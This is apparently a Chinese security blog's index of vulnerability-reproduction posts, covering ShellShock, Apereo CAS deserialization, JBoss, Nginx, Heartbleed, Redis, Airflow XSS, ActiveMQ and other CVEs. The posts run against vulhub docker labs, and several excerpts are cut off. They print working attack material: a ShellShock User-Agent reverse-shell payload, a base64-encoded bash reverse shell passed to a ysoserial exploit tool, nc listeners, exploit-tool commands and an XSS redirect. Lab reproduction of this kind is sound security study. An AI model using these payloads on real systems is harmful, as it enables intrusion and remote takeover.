HTTPoxy CVE-2016-5385漏洞复现

漏洞描述 漏洞原理在CGI变量命名不规范,CGI程序在接收到HTTP Header后会将部分Header信息存在HTTP_开头的变量中。但CGI程序环境变量本身已经定义了HTTP_PROXY变量,旨在为CGI程序设置代理,如果攻击者在请求中带上了Proxy头,则已定义的HTTP_PROXY变量将被覆盖,实现当前请求的变量劫持,并不会对全局变量造成影响。 所以其本质在于CGI环境变量劫持,如果CGI程序在运行过程中依赖HTTP_PROXY变量,则攻击者可获取敏感数据或伪造返回包对CGI程序进行欺骗。 影响版本 任何以CGI方式运行的程序,但需满足以下三点条件: CGI程序对外发送请求; CGI程序依赖HTTP_PROXY变量; CGI程序与外部使用HTTP协议进行通信。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/cgi/httpoxy docker-compose up -d 抓取访问包: GET /index.php HTTP/1.1 Host: <ip>:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "61cb2d26-267" If-Modified-Since: Tue, 28 Dec 2021 15:28:38 GMT Connection: close 响应包: HTTP/1.1 200 OK Server: nginx/1.21.5 Date: Sun, 16 Jan 2022 06:35:17 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Powered-By: PHP/5....

Created: 2022-01-16 · Updated: 2022-01-16 · 0opsdc

ShellShock CVE-2014-6271漏洞复现

漏洞描述 ShellShock是一个BashShell漏洞,通常情况下系统内的Shell有严格权限控制,但GNU Bash在 4.3及之前版本存在安全漏洞,Bash运行过程中会调用操作系统的环境变量,攻击者可向环境变量值内的函数定义后添加多余字符串触发漏洞,通过改变或绕过环境限制来执行Shell命令。 Bash使用的环境变量通过函数名称进行调用,漏洞原因在于以(){开头定义的环境变量在命令ENV中解析为函数后,Bash执行并未退出,而是继续解析并执行Shell命令,攻击者可借此实现反弹Shell等行为。 漏洞的核心原因在于输入过滤中没有严格的限制边界,没有做合法化的参数判断。 影响版本 GNU Bash 4.3及之前版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/bash/shellshock docker-compose up -d 环境启动后可尝试访问http://<ip>:<port>/victim.cgi查看是否启动成功。 攻击机监听端口: nc -lvnp <port> 抓取当前页面的访问数据包,修改User-Agent构造一个反弹Shell的payload: User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1; 成功反弹Shell。 漏洞分析 复现目录下存在safe.cgi和victim.cgi两个cgi文件,我们使用diff命令看看两者的差异: # 命令 diff safe.cgi victim.cgi # 结果 1c1 < #!/bin/bash --- > #!/usr/local/bash-4.3.0/bin/bash # 输出信息讲解 1c1:表示第一个文件的第1行与第二个文件的第1行不匹配 <:表示第一个文件中的数据行 >:表示第二个文件中的数据行 可以发现两者Bash版本不同,而在访问http://<ip>:<port>/safe.cgi时,漏洞无法复现成功。 Web服务器通过环境变量获取浏览器参数,然后交给CGI程序,环境中的CGI程序是有漏洞版本的Bash生成的,因此在HTTP头部中注入的浏览器参数被Bash当作环境变量解析并执行了。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-12-29 · Updated: 2021-12-29 · 0opsdc

AppWeb认证绕过 CVE-2018-8715漏洞复现

漏洞描述 AppWeb使用以下三种认证方式: 认证方式 认证原理 basic 传统HTTP基础认证 digest 改良版HTTP基础认证,认证通过后不再传递Authorization头,而使用Cookie保存状态 form 表单认证 在7.0.3之前版本,若认证方式为digest或form,此时攻击者可通过不传递密码参数,利用AppWeb逻辑错误成功认证并获取session。 AppWeb使用C/C++语言进行编写,是Embedthis Software LLC公司开发维护的一个基于GPL开源协议的嵌入式Web Server,主要应用场景在于为嵌入式设备提供Web Application容器。 影响版本 AppWeb 7.0.3之前版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/appweb/CVE-2018-8715 docker-compose up -d 访问http://<ip>:<port>,会弹出一个登录框,此时需要输入一个存在的用户名,猜测为admin,密码随意输入,抓取登录包并构造Authorization: Digest username=admin,点击发送,成功绕过认证。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-12-25 · Updated: 2021-12-25 · 0opsdc

Apereo CAS RCE漏洞复现

漏洞描述 Apereo CAS是2002年耶鲁大学实验室推出的一个开源统一认证服务,CAS即Central Authentication Service,其漏洞成因在于Webflow中使用了默认密钥changeit,攻击者可通过默认密钥触发反序列化漏洞,实现RCE。 影响版本 Apereo CAS 4.1.x ~ 4.1.6。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/apereo-cas/4.1-rce docker-compose up -d 利用工具:vulhub/Apereo-CAS-Attack: WIP: Demo for Attacking Apereo CAS (github.com) 反弹shell编码:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca) bash -i >& /dev/tcp/<ip>/<port> 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i} 利用工具里ysoserial的CommonsCollections4生成payload: java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}" 在攻击机上打开一个监听终端: nc -lnvp <port> 访问http://<ip>:<port>/cas/login登录页面,抓取登录数据包,将execution替换为生成的payload: username=admin&password=123456<=LT-3-gwwPiolLX4sdBIY5cz0jhZSeWcsuHz-cas01.example.org&execution=<payload>&_eventId=submit&submit=LOGIN 替换完成之后转发数据包,监听终端成功反弹一个shell。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-12-25 · Updated: 2021-12-25 · 0opsdc

JBoss漏洞复现

JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504 漏洞描述 Red Hat JBoss Application Server是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JBossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 影响版本 JBoss AS 4.x及之前。 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/jboss/CVE-2017-7504 docker-compose up -d Jexboss工具:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com) git clone https://github.com/joaomatosf/jexboss.git python3 jexboss.py -host http://<ip>:8080 成功利用漏洞执行命令。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-06-17 · Updated: 2021-06-17 · 0opsdc

Nginx漏洞复现

Nginx 越界读取缓存漏洞 CVE-2017-7529 漏洞描述 Nginx在反向代理站点的时候,通常会缓存一些文件,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括文件头+HTTP返回包头+HTTP返回包体。如果二次请求命中该缓存文件,Nginx会直接将该文件中的HTTP返回包体返回给用户。 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能读取到缓存文件中位于HTTP返回包体前的文件头、HTTP返回包头等内容。 影响版本 Nginx 0.5.6 ~ 1.13.2 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/nginx/CVE-2017-7529 docker-compose up -d 访问:http://<ip>:8080正常即可。 POC已经在当前目录中给出来,文件名poc.py: #!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%s url" % (sys.argv[0])) print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv[1] file_len = len(requests....

Created: 2021-06-17 · Updated: 2021-06-17 · 0opsdc

服务器应用漏洞

OpenSSL OpenSSL 心脏滴血漏洞 CVE-2014-0160 漏洞描述 2014年4月7日,OpenSSL发布安全公告,在OpenSSL 1.0.1 ~ 1.0.1f Beta1版本中存在漏洞,漏洞名为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。 影响版本 OpenSSL 1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等。 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/openssl/heartbleed docker-compose up -d 使用msf对目标进行攻击: msfconsole set RHOST <ip> set verbose true run Redis Redis 主从复制RCE 漏洞描述 在2019年7月7日结束的WCTF2019 Final上,LC/BC成员Pavel Toporkov在分享会上介绍了一种关于Redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。 Pavel Toporkov的分享: 15-redis-post-exploitation.pdf (zeronights.ru) 影响版本 Redis <= 5.0.5 复现思路 漏洞复现 环境搭建: docker pull a1143535418/redis5.0 docker run -p 6379:6379 -d a1143535418/redis5.0 redis-server 利用脚本: n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)...

Created: 2021-06-17 · Updated: 2021-06-17 · 0opsdc

Apache漏洞复现

Airflow 存储型XSS 漏洞描述 Apache Airflow 1.10.2及之前版本的airflow webserver服务存在XSS漏洞,原因在于`WEB应用未对客户端数据进行正确验证,导致攻击者可利用该漏洞执行客户端代码。 影响版本 Apache Airflow 1.10.3以下版本。 漏洞复现 访问/admin/dagrun/(默认不需要密码)。 创建一个项目,输入ID后点击保存,返回列表,点击running字样,发现能够输入HTML代码,例: <script>_a="https://www.baidu.com"</script> <script>document.location=_a</script> 能直接造成存储型XSS。 ActiveMQ 反序列化漏洞 CVE-2015-5254 漏洞描述 Apache ActiveMQ是Apache软件经济会研发的一套开源消息中间件,支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前版本,即5.x版本中存在反序列化漏洞,漏洞源于程序没有限制可在代理中序列化的类,攻击者通过借助特制序列化Java消息服务(JMS) ObjectMessage对象实现任意代码执行。 影响版本 Apache ActiveMQ 5.13.0之前的5.x版本。 复现思路 1.构造(可使用ysoserial)可执行命令的序列化对象。 2.作为一个消息,发送给目标对应端口。 3.访问Web管理页面,读取消息,触发漏洞。 漏洞复现 使用jmet进行漏洞利用:ianxtianxt/jmet: Java Message Exploitation Tool (github.com) 下载好之后在jmet-0.1.0-all.jar同级目录下创建external文件夹,避免出现文件夹不存在的报错。 jmet的原理是使用jar包内置ysoserial生成Payload并发送,我们需要在ysoserial的gadget选择一个可使用的,如ROME。 给目标ActiveMQ添加一个名为event的队列,点击事件为生成/tmp/vuln文件: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME <ip> <port> # 命令执行成功后回显如下 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:<server-id> INFO d....

Updated: 0001-01-01 · 0opsdc